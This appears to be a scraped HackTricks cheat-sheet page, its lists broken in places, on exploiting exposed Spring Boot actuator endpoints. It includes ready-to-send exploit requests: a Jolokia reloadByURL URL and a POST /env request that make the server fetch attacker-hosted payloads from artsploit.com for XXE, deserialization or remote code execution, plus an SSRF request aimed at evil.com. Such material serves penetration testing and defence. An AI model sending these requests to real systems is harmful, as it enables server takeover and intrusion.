Search K
Appearance
Appearance
Other ways to support HackTricks:
From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
/health
, /trace
, /beans
, /env
, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health
and /info
are non-sensitive by default, but developers often disable this security./dump
, /trace
, /logfile
, /shutdown
, /mappings
, /env
, /actuator/env
, /restart
, and /heapdump
./actuator/
base path./jolokia
actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.reloadByURL
action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.If Spring Cloud Libraries are present, the /env
endpoint allows modification of environmental properties.
Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
spring.datasource.tomcat.validationQuery
, spring.datasource.tomcat.url
, and spring.datasource.tomcat.max-active
can be manipulated for various exploits, such as SQL injection or altering database connection strings./env
endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same./env
endpoint and H2 database can be found here.The Spring framework's handling of matrix parameters (;
) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
Example exploit request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Other ways to support HackTricks: